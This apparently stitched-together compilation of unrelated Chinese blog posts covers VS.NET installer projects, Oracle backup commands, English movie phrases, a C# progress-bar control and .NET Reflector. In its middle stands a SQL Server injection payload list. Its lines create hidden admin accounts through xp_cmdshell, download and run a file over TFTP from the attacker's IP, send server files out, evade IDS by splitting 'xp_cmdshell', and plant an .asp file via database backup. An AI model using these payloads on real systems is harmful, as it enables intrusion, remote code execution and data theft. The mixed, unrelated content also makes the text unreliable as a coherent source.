例如,原文件存放在\\aa\cc\bb.txt,则添加文件bb.txt时也应如此,右击web应用程序文件夹->添加web


文件夹(命名为aa)->右击aa->添加web文件夹(命名为cc)->右击cc->添加文件(bb.txt).


3.右击WebSetup项目->视图->用户界面。
1)添加你所需要的界面。安装->启动->添加对话框->文本框(A),如果添加了文本框则必须要上移(右


击要上移的文本框->上移)到安装地址之上。
2)如果有许可协议对话框,则在文件系统中要添加一个.rtf格式的文件(注意:改文件一定要时通过


word另存为.rtf格式得到,不可以通过记事本创建文件后把扩展名改为.rtf而得到,那样将不显示许可协


议),右击许可协议对话框->属性->把licenseFile属性选为你所要添加的许可协议文件。
(属性 BannerBitmap 安装对话框中的图片;Sunken 是否凹凸显示。其他对话框相同)
以上是安装文件制作的基本过程。如果要安装数据库,和用户自定义的一些操作如下:


二、添加自定义操作----安装数据库
1)在用户界面添->右击->添加对话框文本框(A)如果添加了文本框则必须要上移(右击要上移的文本框


->上移)到安装地址之上。


2)如果只安装一个数据库就把其Edit2Visible,Edit3Visible,Edit4Visible设置为false.把


Edit1property定义一个变量名,例如PARA1。


3) 自定义用户操作,在资源管理器界面右击资源管理器->新建->C#(也可以是VB.NET),选择类库,命


名为WebInstall 。


4) 新建项目会自动生成一个class1.cs文件,把此文件删除。右击WebInstall添加新项->安装类,命名


为Install.cs。


5)右击Install.cs->视图设计界面,然后在服务器资源管理器中添加数据库master的连接,添加好后把


这个连接拖到Install的设计界面。


6)在Install.cs文件中添加以下代码
注:要添加应用添加应用
using System.Reflection;
using System.Data;
using System.Data.SqlClient;
using System.IO;
安装数据库代码
/// <summary>
/// 获得配置文件中嵌入的文本文件
/// </summary>
/// <param name="Name">文件名</param>
/// <returns></returns>
private string GetSql(string Name)
{
Assembly Asm = Assembly.GetExecutingAssembly();
Stream strm = Asm.GetManifestResourceStream(Asm.GetName().Name + "."+Name);
StreamReader reader = new StreamReader(strm);
return reader.ReadToEnd();
}


/// <summary>
/// 指定的数据库执行SQL语句
/// </summary>
/// <param name="DatabaseName">数据库名</param>
/// <param name="sqlstring">SQL语句</param>
/// <returns></returns>
private void ExecuteSql(string DataBaseName,string sqlstring)
{
System.Data.SqlClient.SqlCommand Command = new


System.Data.SqlClient.SqlCommand(sqlstring,sqlConn);


Command.Connection.Open();
Command.Connection.ChangeDatabase(DataBaseName);
try
{
Command.ExecuteNonQuery();
}
finally
{
Command.Connection.Close();
}


}


/// <summary>
/// 创建数据库及数据库表
/// </summary>
/// <param name="DBName">数据库名</param>
/// <param name="assemblyName">配件中数据库脚本资源的名称</param>
/// <returns></returns>
protected bool CreateDBAndTable(string DBName)
{
bool Restult = false;
try
{
ExecuteSql("master","CREATE DATABASE " + DBName);
ExecuteSql(DBName,GetSql("bbssql.txt"));
Restult = true;


}
catch(Exception ex)
{
//次段代码为调试用可以不添加


StreamWriter sw = new StreamWriter(@"c:\SrInforSys.txt");
sw.WriteLine("[SrInforSys案装错误]");
sw.WriteLine(ex.Message.ToString());
sw.Close();
}
return Restult;
}



/// <summary>
/// 安装数据库
/// </summary>
/// <param name="stateSaver"></param>
public override void Install(IDictionary stateSaver)
{
base.Install (stateSaver);
if(!CreateDBAndTable(this.Context.Parameters["dbname1"].ToString()))
throw new ApplicationException("创建数据库时出现严重错误!");
}
在添加安装数据库时一定要有创建数据库的脚本,并且把它存为.txt文件添加到WebInstall项目中了,右


击该文件(例如,database.txt)->属性->生成操作,该为嵌入资源(这点很中要)。


7)生成WebInstall.dll文件。在解决方案资源管理器中右击->WebSetup项目->视图->在文件系统,右击


Web应用程序文件夹->添加->项目输出->选择WebInstall(主输出)->确定


8)在解决方案资源管理器中右击->WebSetup项目->视图->自定义操作,在自定义操作界面区中右击安装


->添加自定义操作->在Web应用程序文件夹->主输出来自WebInstall(活动)
添加完后右击主输出来自WebInstall(活动)->属性,把customeActionData设置为/dbname=[PARA1](此


处的dbname为要接受的参数名,PARA1就是前面添加的文本框中Edit1property)。


9)编译WebSetup程序就可以了。
如果有两个或者多个数据库时,就把文本框的其他输入框设置为true(Edit2Visible, Edit3Visible ,


Edit4Visible),并且在自定义操作中把customeActionData属性改为/dbname1=[PARA1]


/dbname2=[PARA2] /dbname3=[PARA3] /dbname4=[PARA4](有几个写几个)中间必须用一个空格分隔。


三、添加启动条件
在安装我们做好的程序总是要有一些启动条件的,例如必须有.net framework, SQL等。以下就以这SQL为


例子


1)在解决方案资源管理器中右击->WebSetup项目->视图->启动条件->目标计算机上的要求->添加注册表


启动条件->把名字改为search of SQL->属性,更改其属性
Property----------------SEARCHOFSQL
RegKey----------------SOFTWARE\Microsoft\MSSQLServer\Setup(指定要搜索的表项)
Root--------------------vsdrrHKLM(指定要搜索的注册表根)
Value-------------------SQLPath(要搜索的注册表值)


2)在启动条件界面,右击启动条件->添加启动条件命名为SQL Server,更改属性
Condition--------------- SEARCHOFSQL
Message-----------------您本机上没有SQL Server 2000,请先安装!
如果添加其他的启动条件类似。


四、卸载程序
1)在WebInstall项目中的Install.cs中添加如下代码
private bool DeleteDatabase()
{
try
{
ExecuteSql(此方法就是前面安装数据库的方法)("master","USE MASTER IF EXISTS (SELECT NAME


FROM SYSDATABASES WHERE NAME=’aa’) DROP DATABASE aa");
return true;
}
catch
{
return false;
}
}
public override void Uninstall(IDictionary savedState)
{
if (savedState == null)
throw new ApplicationException("未能卸载!");
else
{
base.Uninstall (savedState);
if(!DeleteDatabase())
throw new ApplicationException("卸载过程中发生错误,未能卸载!");
}
}


2)WebSetup项目的自定义操作中,右击卸载->添加自定义操作->在Web应用程序文件夹->主输出来自


WebInstall(活动)


五、添加删除垃圾文件
这一点不一定用的到,不过有一些老板认为做处来的安装程序太小了给用户看不是很好就添加一些垃圾文


件,让安装程序变大点,安装完后又删除。
在WebInstall项目中的Install.cs中添加如下代码


private void DeleteFile()
{
string stLocation;
Assembly asm = Assembly.GetExecutingAssembly();
stLocation = asm.Location;
stLocation = stLocation.Substring(0,stLocation.LastIndexOf("\\")) +"\\要删除的文件名";
System.IO.File.Delete(stLocation);
}
(此文件事先添加到Web应用程序文件夹下)
把DeleteFile()方法添加到public override void Install(IDictionary stateSaver)中即可。

ORACLE用户自定义备份与恢复笔记


用户自定义的数据库备份


 































备份类型



备份方法



示例



数据文件



操作系统命令或工具



C:\COPY datafile1.ora datafile.bak



归档重做日志文件



操作系统命令或工具



C:\COPY log_01_23.arc log_01_23.bak



控制文件



SQL命令



SQL>ALTER DATABASE BACKUP CONTROLFILE  TO confile.bak;



初始化参数文件



SQL命令



SQL>CREATE  PFILE=SIDinit.ora FROM  SPFILE;



网络配置与口令文件



操作系统命令



C:\COPY tnsnames.ora tnsnames.bak



数据库逻辑对象(表、索引、存储过程等)



Export工具



C:\EXPORT system/manager  TABLE



=hr.employees file=emp.dmp







 


 


 


 


 














如果数据库运行在不归档模式下,可以对数据库进行不一致的完全备份,或者对某个表空间或数据文件进行单独的备份。


如果数据库运行在不归档模式下,只能在关闭状态下对数据库进行一致的完全备份


一、             表空间或数据文件的脱机备份


    如果数据库运行在归档模式下,可以在打开状态下对数据库中处于脱机状态的表空间或数据文件进行备份。在备份期间数据库中其它的表空间或数据文件仍然可以被用户使用。


SQL>ALTER  TABLESPACE  users  OFFLINE  NORMAL;


C:\COPY  E:\oracle\oradata\users01.dbf  F:\backup\users01.bak


SQL>ALTER  TABLESPACE  users  ONLINE;


SQL>ALTER  SYSTEM  ARCHIVE  LOG  CURRENT;


二、             表空间或数据文件的联机备份


如果数据库运行在归档模式下,可以在打开状态下对数据库中处于联机状态的表空间或数据文件进行备份。在备份期间这些表空间或数据文件仍然可以被用户使用。


SQL>ALTER  TABLESPACE  users  BEGIN  BACKUP;


C:\COPY  E:\oracle\oradata\users01.dbf  F:\backup\users01.bak


SQL>ALTER  TABLESPACE  users  END  BACKUP;


SQL>ALTER  SYSTEM  ARCHIVE  LOG  CURRENT;


三、             处理备份故障


如果在备份过程中发生故障,导致备份突然中断,那么在下一次启动数据库时备份表空间的数据文件将会仍然处于备份模式下,因此ORACLE会要求进行数据库恢复。


1、  利用ALTER  DATABASE  END  BACKUP语句退出备份模式


SQL>STARTUP  MOUNT


SQL>SELECT * FROM V$BACKUP WHERE STATUS=’ACTIVE’


(查询哪些数据文件处于备份模式)


SQL>ALTER  DATABASE  END BACKUP;


SQL>ALTER  DATABASE  OPEN;


2、  利用RECOVER命令退出备份模式


   SQL>STARTUP  MOUNT


   SQL>RECOVER  DATABASE


   SQL>ALTER  DATABASE  OPEN;


四、             控制文件备份为二进制文件


SQL>ALTER  DATABASE  BACKUP  CONTROLFILE  TO


‘E:\backup\cfile.bak’  REUSE;


五、             控制文件备份到跟踪文件中


SQL>ALTER  DATABASE  BACKUP  CONTROLFILE  TO  TRACE;

(数据库处于加载状态时,利用上面语句可以将控制文件备份到跟踪文件中)

 

/* 说明:本安装方法,是以实际工作为例,测试通过!


*/


一).创建部署项目


1. 在“文件”菜单上指向“添加项目”,然后选择“新建项目”。

2. 在“添加新项目”对话框中,选择“项目类型”窗格中的“安装和部署项目”,然后选择“模板”窗格中的“安装项目”。在“名称”框中键入 ZehuaSoftSetUp。

3. 单击“确定”关闭对话框。

4. 项目被添加到解决方案资源管理器中,并且文件系统编辑器打开。

5. 在“属性”窗口中,选择 ProductName 属性,并键入 水质信息管理及分析评价系统 。

     在“属性”窗口中,其它属性,可以自己适当添加



二).将 主程序 项目的输出添加到部署项目中

1. 在“ZehuaSoftSetUp”中,指向“添加”,然后选择“项目输出”。

2. 在“添加项目输出组”对话框中,选择“项目”下拉列表中的“你的程序”。

3. 从列表中选择“主输出”和“内容文件”组,然后单击“确定”。



三).创建安装程序类

1. 在“文件”菜单上指向“新建”,然后选择“项目”。

2. 在“新建项目”对话框中,选择“项目类型”窗格中的“Visual Basic 项目”,然后选择“模板”窗格中的“类库”。在“名称”框中键入 ZehuaSetUpClass。

3. 单击“打开”关闭对话框。

4. 从“项目”菜单中选择“添加新项”。

5. 在“添加新项”对话框中选择“安装程序类”。在“名称”框中键入 SetupClass。

6. 单击“确定”关闭对话框。

7.为了使用多线程,添加OSQL.exe文件,在SQL_Server 中可以找到该文件

8. 详细代码附后。



四).创建自定义安装对话框

1. 在解决方案资源管理器中选择“ZehuaSoftSetUp”项目。在“视图”菜单上指向“编辑器”,然后选择“用户界面”。

2. 在用户界面编辑器中,选择“安装”下的“启动”节点。在“操作”菜单上,选择“添加对话框”。

3. 在“添加对话框”对话框中,选择“许可协议”对话框,然后单击“确定”关闭对话框。

     在“许可协议”属性中,添加LicenseFile

4. 在“添加对话框”对话框中,选择“文本框 (A)”对话框,然后单击“确定”关闭对话框。

5. 在“操作”菜单上,选择“上移”。重复此步骤,直到“文本框 (A)”对话框位于“安装文件夹”节点之上(最上面)。

6. 在“属性”窗口中,选择 BannerText 属性并键入:安装数据库.

7. 选择 BodyText 属性并键入:安装程序将在目标机器上安装数据库

8. 选择 Edit1Label 属性并键入:数据库名称:

9. 选择 Edit1Property 属性并键入 DATABASENAME

10. 选择 Edit1Value 属性并键入:water,waterSJSGNQ

11. 选择 Edit2Label 属性并键入:服务器名:

12. 选择 Edit2Property 属性并键入 SERVERNAME

13. 选择 Edit2Value 属性并键入:(local)

14. 选择 Edit3Label 属性并键入:用户名:

15. 选择 Edit3Property 属性并键入 USERNAME

16. 选择 Edit3Value 属性并键入:sa

17. 选择 Edit4Label 属性并键入:密码:

18. 选择 Edit4Property 属性并键入 PASSWORD

19. 选择 Edit3Value 属性并键入

20. 选择 Edit2Visible、Edit3Visible 和 Edit4Visible 属性,并将它们设置为 true

  


五).创建自定义操作

1. 在解决方案资源管理器中选择“ZehuaSoftSetUp”项目。指向“添加”,然后选择“项目输出”。

2. 在“添加项目输出组”对话框中,选择“项目”下拉列表中的“ZehuaSetUpClass”。

3. 从列表中选择“主输出”和“内容文件”组,然后单击“确定”。

4. 在解决方案资源管理器中选择“ZehuaSoftSetUp”项目。在“视图”菜单上指向“编辑器”,然后选择“自定义操作”。

2. 在自定义操作编辑器中选择“安装”节点。在“操作”菜单上,选择“添加自定义操作”。

3. 在“选择项目中的项”对话框中,双击“应用程序文件夹”。

4. 选择“主输出来自 ZehuaSetUpClass(活动)”项,然后单击“确定”关闭对话框。

5. 在“属性”窗口中,选择 CustomActionData 属性并键入“/dbname=[DATABASENAME] /server=[SERVERNAME] /user=[USERNAME] /pwd=[PASSWORD] /targetdir="[TARGETDIR]\"”。

 

附:/targetdir="[TARGETDIR]\"是安装后的目标路径,为了在installDB类中获得安装后的路径,我们设置此参数。



六)所有的操作向导都可以添加背景图片

添加方式:在"用户界面"->启动->属性->BannerBitMap中添加



七).系统判断客户机器环境方式

最简单方式,用微软PluginInstaller.msi插件,安装后,按照上述部署方式,安装包能就可以智能判断客户机器是否有.net Framwork1.1,MDC 2.0版本,如果系统不具备安装环境,系统会自动提示客户机器安装


八).其它

1.默认安装虚拟目录名称更改方式:

 ZehuaSoftSetUp->web应用程序文件夹->属性->VirtuarDirectory-更改你要安装的名称(HwShuiZhi)

2.由于数据库备份文件比较大,建议直接添加把water,waterSJSGNQ添加到ZehuaSoftSetUp 项目中去!

3.三个项目同时编译,如果项目编译通过

编译ZehuaSoftSetUp,生成安装包!


--安装文件类,代码:


' 类说明:该类实现通用的安装
' 作    者:zlp@zehua.com.cn
' 新建时间:2005-7-6
' 最后修改:2005-7-6
' 版权所有:北京泽华信息技术有限公司
'/
Imports System.ComponentModel
Imports System.Configuration.Install
Imports System.IO
Imports System.Reflection

<RunInstaller(True)> Public Class SetupClass
    Inherits System.Configuration.Install.Installer
#Region " 组件设计器生成的代码 "

    Public Sub New()
        MyBase.New()

        '该调用是组件设计器所必需的。
        InitializeComponent()

        '在 InitializeComponent() 调用之后添加任何初始化

    End Sub

    'Installer 重写 dispose 以清理组件列表。
    Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
        If disposing Then
            If Not (components Is Nothing) Then
                components.Dispose()
            End If
        End If
        MyBase.Dispose(disposing)
    End Sub

    '组件设计器所必需的
    Private components As System.ComponentModel.IContainer

    '注意: 以下过程是组件设计器所必需的
    '可以使用组件设计器来修改此过程。
    '不要使用代码编辑器来修改它。
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
        components = New System.ComponentModel.Container()
    End Sub

#End Region
    '执行SQL 语句
    Private Sub ExecuteSql(ByVal conn As String, ByVal DatabaseName As String, ByVal Sql As String)
        Dim mySqlConnection As New SqlClient.SqlConnection(conn)
        Dim Command As New SqlClient.SqlCommand(Sql, mySqlConnection)
        Command.Connection.Open()
        Command.Connection.ChangeDatabase(DatabaseName)
        Try
            Command.ExecuteNonQuery()
        Finally
            Command.Connection.Close()
        End Try
    End Sub


    Public Overrides Sub Install(ByVal stateSaver As System.Collections.IDictionary)
        MyBase.Install(stateSaver)
        ' ------------------------建立数据库-------------------------------------------------
        Try
            Dim connStr As String = String.Format("data source={0};user id={1};password={2};persist security info=false;packet size=4096", Me.Context.Parameters.Item("server"), Me.Context.Parameters.Item("user"), Me.Context.Parameters.Item("pwd"))
            '判断如果目标计算机中有数据库,则删除原来数据库,重新最新数据库
            '(1):支持同时安装多个数据库。
            '(2):支持历史数据装载
            '(3):为支持以后扩充,要写WebConfig时候,WebConfig中必须预留"connString" 字样
            '例子:Me.Context.Parameters.Item("dbname")="water,waterSJSGNQ"
            '得到目标计算机的虚拟目录地址
            Dim stLocation As String
            Dim ASM As [Assembly] = [Assembly].GetExecutingAssembly()
            stLocation = ASM.Location
            Dim dir As System.IO.Directory
            stLocation = dir.GetParent(stLocation).FullName()

            Dim DataBaseArray() As String
            Dim Loopi As Integer
            DataBaseArray = Split(Me.Context.Parameters.Item("dbname"), ",")
            For Loopi = 0 To UBound(DataBaseArray)
                '建立数据库,未加栽数据
                ExecuteSql(connStr, "master", "IF EXISTS (SELECT * FROM MASTER..sysdatabases WHERE NAME=N'" & DataBaseArray(Loopi) & " ') DROP DATABASE " & DataBaseArray(Loopi) & "  CREATE DATABASE " & DataBaseArray(Loopi) & "   ")
                '加载历史数据
                CreateDataBase(DataBaseArray(Loopi), stLocation)
                '将连接字符串写入Web.config,为将来预留程序接口
                'WriteWebConfig(DataBaseArray(Loopi))
            Next
            '删除目标计算机的OSQL文件
            Dim sqlFileInfo As New System.IO.FileInfo(String.Format("{0}OSQL.EXE", Me.Context.Parameters.Item("targetdir")))
            If sqlFileInfo.Exists Then
                sqlFileInfo.Delete()
            End If
        Catch ex As Exception
            Throw ex
        End Try


    End Sub


    '在数据库实现数据加载
    Private Sub CreateDataBase(ByVal DatabaseName As String, ByVal stLocation As String)
        Dim connStr As String = String.Format("data source={0};user id={1};password={2};persist security info=false;packet size=4096", Me.Context.Parameters.Item("server"), Me.Context.Parameters.Item("user"), Me.Context.Parameters.Item("pwd"))
        '调用OSQL,实现数据的装载
        Dim SQLString As String
        SQLString = "use master    declare @Data_Path as varchar(100),@Log_Path as varchar(100)     "
        SQLString = SQLString + " select @Data_Path=ltrim(rtrim(filename)) from " & DatabaseName & "..sysfiles where charindex(''MDF'',filename)>0 "
        SQLString = SQLString + " select @Log_Path=ltrim(rtrim(filename)) from " & DatabaseName & "..sysfiles where charindex(''LDF'',filename)>0  "
        SQLString = SQLString + " RESTORE DATABASE " & DatabaseName & " FROM DISK = ''" & stLocation & "\" & DatabaseName & ".bak'' with replace, move ''" & DatabaseName & "_Data'' to @Data_Path, move ''" & DatabaseName & "_Log'' to @Log_Path "
        SQLString = " exec('master..xp_cmdShell '' osql -U " & Me.Context.Parameters.Item("user") & "  -P " & Me.Context.Parameters.Item("pwd") & "  -S " & Me.Context.Parameters.Item("targetdir") & " -Q '' " & SQLString & " ') "

        Dim sqlProcess As New System.Diagnostics.Process
        sqlProcess.StartInfo.FileName = "osql.exe "
        sqlProcess.StartInfo.Arguments = SQLString
        ExecuteSql(connStr, "master", SQLString)
        sqlProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
        sqlProcess.Start()
        sqlProcess.WaitForExit()  '等待执行
        sqlProcess.Close()
        '删除目标计算机的数据库备份文件
        Dim sqlFileInfo As New System.IO.FileInfo(String.Format("{0}" & DatabaseName & ".bak", Me.Context.Parameters.Item("targetdir")))
        If sqlFileInfo.Exists Then
            sqlFileInfo.Delete()
        End If
    End Sub


    ' ---------------------将连接字符串写入Web.config-----------------------------------
    Private Sub WriteWebConfig(ByVal DatabaseName As String)
            Dim di As IO.DirectoryInfo
            di = New IO.DirectoryInfo(Me.Context.Parameters.Item("targetdir"))
            Dim fi As IO.FileInfo
            For Each fi In di.GetFiles("web.config")
            ProcessString(fi.FullName, DatabaseName)
            Next
    End Sub


    Public Sub ProcessString(ByVal FileName As String, ByVal DatabaseName As String)
        Try
            Dim FileInfo As System.IO.FileInfo = New System.IO.FileInfo(FileName)
            If Not FileInfo.Exists Then
                Throw New InstallException("没有找到配置文件")
            End If
            '实例化XML文档
            Dim XmlDocument As New System.Xml.XmlDocument
            XmlDocument.Load(FileInfo.FullName)
            '查找到appSettings中的节点
            Dim Node As System.Xml.XmlNode
            Dim FoundIt As Boolean = False
            For Each Node In XmlDocument.Item("configuration").Item("appSettings")
                If Node.Name = "add" Then
                    If Node.Attributes.GetNamedItem("key").Value = "connString" Then
                        '写入连接字符串
                        Node.Attributes.GetNamedItem("value").Value = String.Format("Persist Security Info=False;Data Source={0};Initial Catalog={1};User ID={2};Password={3};Packet Size=4096;Pooling=true;Max Pool Size=100;Min Pool Size=1", _
                        Me.Context.Parameters.Item("server"), DatabaseName, Me.Context.Parameters.Item("user"), Me.Context.Parameters.Item("pwd"))
                        FoundIt = True
                    End If
                End If
            Next Node
            If Not FoundIt Then
                Throw New InstallException("web.Config 文件没有包含connString连接字符串设置")
            End If
            XmlDocument.Save(FileInfo.FullName)
        Catch ex As Exception
            Throw ex
        End Try
    End Sub


End Class



[转载]教你听懂英语电影中的口语

Absolutely!—— 绝对正确!
Adorable! —— 可爱极了!
Amazing! —— 太神了!
Anytime! —— 随时吩咐!
Almost! —— 差不多了!
Awful! —— 好可怕呀!

After you. —— 您先。
About when? —— 大约何时?
All set? —— 一切妥当?
Allow me! —— 让我来!

Baloney! —— 胡扯!荒谬!
Behave! —— 放尊重点!
Bingo! —— 中了!
Boring! —— 真无聊!
Bravo! —— 太棒了!
Bullshit! —— 胡说!

Cheers! —— 干杯!
Congratulations! —— 恭喜啊!
Correct! —— 对的!
Crazy! —— 疯了!

Damn! —— 该死的!
Deal! —— 一言为定!
Definitely! —— 当然!
Disgusting! —— 好恶心呀!
Drat! —— 讨厌!

Encore! —— 再来一次!
Exactly! —— 完全正确!

Fantastic! —— 妙极了!
Farewell! —— 再见啦!
Fifty-fifty! —— 对半分!
Foul! —— 犯规了!
Fresh! —— 好有型!帅!

Gesundheit! —— 保重!(特别用于对打喷嚏的人说)
Gone! —— 跑了!
Gorgeous! —— 美极了!
Great! —— 太好了!

Hey! —— 嘿!
Hopefully! —— 希望如此!有希望的话...
Horrible! —— 好可怕!
Hot! —— 好辣!
Hurray!/Hurrah! —— 万岁!
Hush! —— (肃静)嘘!
Hurry! —— 快点!

Incredible! —— 不可思议!
Indeed? —— 真的? Jesus! —— 天啊!

Liar! —— 你撒谎!
Listen! —— 听着! Lousy! —— 差劲!

Marverllous! —— 棒极了!
Now! —— 现在就做!

Objection! —— 我抗议!
Outrageous! —— 不得了!
Pardon! —— 请再说一遍!
Perfect! —— 很完美!
Please! —— 拜托了!
Present! —— 到(有)!(用于点名时)
Probably! —— 很可能!

Rats! —— 差劲!
Really? —— 真的?
Relax! —— 放轻松!
Right! —— 对的!

Satisfied? —— 满意吗?
Shhh... —— 嘘...
So so! —— 马马虎虎!
Someday! —— 改天吧!
Speaking! —— (打电话时)我就是!
Still? —— 仍是这样?
Stingy! —— 小气鬼!
Stop! —— 停!
Superb! —— 棒极了!
Sure! —— 当然!
Surprise! —— 给你一个惊喜!

Terrible! —— 好可怕!
Thirsty? —— 渴吗!
Toast! —— 干杯!
Try! —— 去试一下!

Unbelievable! —— 难以置信!
Understand? —— 明不明白?
Unisex? —— 男女通用的?

Wait! —— 等一等!
Well? —— 怎么样?
Willingly—— 很乐意!
Wow! —— 哇!

Yum... —— 恩...(好吃!)

Imagine! —— 想想看!
Impossible! —— 不可能吧!
Impressive! —— 很感人,永生难忘!

XPCC - XP Common Controls

桂林老兵的SQLSERVER高级注入技巧

只供参考学习:

[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库


[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 条件]


通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //将系统用户test提升为管理员


这样,你在他的数据库和系统内都留下了test管理员账号了


下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--


然后运行这个文件:
id=2; exec master.dbo.xp_cmdshell ’file.exe’;--


下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--


绕过IDS的检测[使用变量]
declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:\’


新加的:

建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk=’d:\web\db.asp’;


报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);

最近青岛微软开发者俱乐部 www.qddn.net上有位网友希望得到能改变颜色的进度条,正好我也在做一套.net的通用组件,就把它写出来了,因为比较简单,也没有多少技术含量,就把它帖出来,希望给别的朋友一点帮助


这个进度条控件,除了具有普通进度条的功能以外,还具有如下功能:


设置进度条的背景色和前景色


设置进度条的外观方式(3D,single,none)


是否自动显示当前进度比例(比如在进度条的中间显示当前进度58%)


当然,这个功能还可以增加很多,比如背景色和前景色也可以用图片代替,还有其它的功能打算在以后有时间时再添加,这次就写这些了。


代码如下:


using System;



using System.Collections;



using System.ComponentModel;



using System.Drawing;



using System.Drawing.Drawing2D ;



using System.Data;



using System.Windows.Forms;




 



namespace XiaoPang.Windows



{



     /// <summary>



     /// GProgressBar 的摘要说明。



     /// </summary>



     public class GProgressBar : System.Windows.Forms.UserControl



     {



         /// <summary>



         /// 必需的设计器变量。



         /// </summary>



         private System.ComponentModel.Container components = null;




 



         public GProgressBar()



         {



              // 该调用是 Windows.Forms 窗体设计器所必需的。



              InitializeComponent();



              base.Height = 23 ;



              this.Resize+=new EventHandler(GProgressBar_Resize);



              this.LocationChanged+=new EventHandler(GProgressBar_Resize);



         }




 



         private void GProgressBar_Resize(object sender,System.EventArgs e)



         {



              base.Refresh() ;



         }




 



         private  int mMax =100;



         [Browsable(true), Description("最大值"), Category("XiaoPang")]



         public int Max



         {



              get



              {



                   return mMax ;



              }




 



              set



              {



                   mMax = value > 0?value:1;



              }



         }



        



         [Browsable(true), Description("大小"), Category("XiaoPang")]



          public new Size Size



         {




 



              get



              {



                   return base.Size ;



              }




 



              set



              {



                   base.Size = value ;



              }



         }



         private  int mMin =0;



         [Browsable(true), Description("最小值"), Category("XiaoPang")]



         public int Min



         {



              get



              {



                   return mMin ;



              }




 



              set



              {



                   mMin = value ;



              }



         }




 



         private int mStep = 1 ;



         [Browsable(true), Description("步长"), Category("XiaoPang")]



         public int Step



         {



              get



              {



                   return mStep ;



              }




 



              set



              {



                   mStep = value ;



              }



        



         }



             



         [Browsable(true), Description("背景色"), Category("XiaoPang")]



         public override Color BackColor



         {




 



              get



              {



                   return base.BackColor ;



              }




 



              set



              {



                   base.BackColor = value ;



              }



         }

.NET Reflector,它是一个类浏览器和反编译器,可以分析程序集并向您展示它的所有秘密。.NET 框架向全世界引入了可用来分析任何基于 .NET 的代码(无论它是单个类还是完整的程序集)的反射概念。反射还可以用来检索有关特定程序集中包含的各种类、方法和属性的信息。使用 .NET Reflector,您可以浏览程序集的类和方法,可以分析由这些类和方法生成的 Microsoft 中间语言 (MSIL),并且可以反编译这些类和方法并查看 C# 或 Visual Basic ?.NET 中的等价类和方法。

为了演示 .NET Reflector 的工作方式,我将加载和分析前面已经显示的 NUnitExample 程序集。下图显示了 .NET Reflector 中加载的该程序集。


在 .NET Reflector 内部,有各种可用来进一步分析该程序集的工具。要查看构成某个方法的 MSIL,请单击该方法并从菜单中选择 Disassembler。

除了能够查看 MSIL 以外,您还可以通过选择 Tools 菜单下的 Decompiler 来查看该方法的 C# 形式。通过在 Languages 菜单下更改您的选择,您还可以查看该方法被反编译到 Visual Basic .NET 或 Delphi 以后的形式。以下为 .NET Reflector 生成的代码:

public void HashtableAddTest(){     
Hashtable hashtable1;
hashtable1 = new Hashtable();
hashtable1.Add("Key1", "value1");
hashtable1.Add("Key2", "value2");
Assert.AreEqual("value1", hashtable1["Key1"], "Wrong object returned!");
Assert.AreEqual("value2", hashtable1["Key2"], "Wrong object returned!");
}

前面的代码看起来非常像我为该方法实际编写的代码。以下为该程序集中的实际代码:
public void HashtableAddTest(){    
Hashtable ht = new Hashtable();
ht.Add("Key1", "value1");
ht.Add("Key2", "value2");
Assert.AreEqual("value1", ht["Key1"], "Wrong object returned!");
Assert.AreEqual("value2", ht["Key2"], "Wrong object returned!");
}

尽管上述代码中存在一些小的差异,但它们在功能上是完全相同的。

虽然该示例是一种显示实际代码与反编译代码之间对比的好方法,但在我看来,它并不代表 .NET Reflector 所具有的最佳用途 — 分析 .NET 框架程序集和方法。.NET 框架提供了许多执行类似操作的不同方法。例如,如果您需要从 XML 中读取一组数据,则存在多种使用 XmlDocument、XPathNavigator 或 XmlReader 完成该工作的不同方法。通过使用 .NET Reflector,您可以查看 Microsoft 在编写数据集的 ReadXml 方法时使用了什么,或者查看他们在从配置文件读取数据时做了哪些工作。.NET Reflector 还是一个了解以下最佳实施策略的优秀方法:创建诸如 HttpHandlers 或配置处理程序之类的对象,因为您可以了解到 Microsoft 工作组实际上是如何在框架中生成这些对象的。

.NET Reflector 由 Lutz Roeder 编写

下载地址:http://www.aisto.com/roeder/dotnet


现在介绍一个它的插件。非常好用。还原源码。!
www.denisbauer.com/Downloads/Reflector.FileDisassembler.zip
这是插件下载地址!
打开Reflector,在view菜单下的Add-Ins,将dll添加到里面即可!
然后加载一个dll。选中它。选择Tools-File Disassembler打开右侧File Disassembler窗口再选择Generate
这样就还原了源码。但可不是完全还原!


下面还有其它的Plug-In



.NET Reflector Add-Ins
This website lists add-ins for .NET Reflector. After downloading one of the add-ins copy the files to the same directory as your 'Reflector.exe' file and load them via the 'Add-Ins' command under the 'View' menu. You can download Reflector here.


--------------------------------------------------------------------------------

Reflector.FileDisassembler
This add-in can be used to dump the disassembler output to files for any Reflector supported language.

Website Download


--------------------------------------------------------------------------------

Reflector.DelphiLanguage
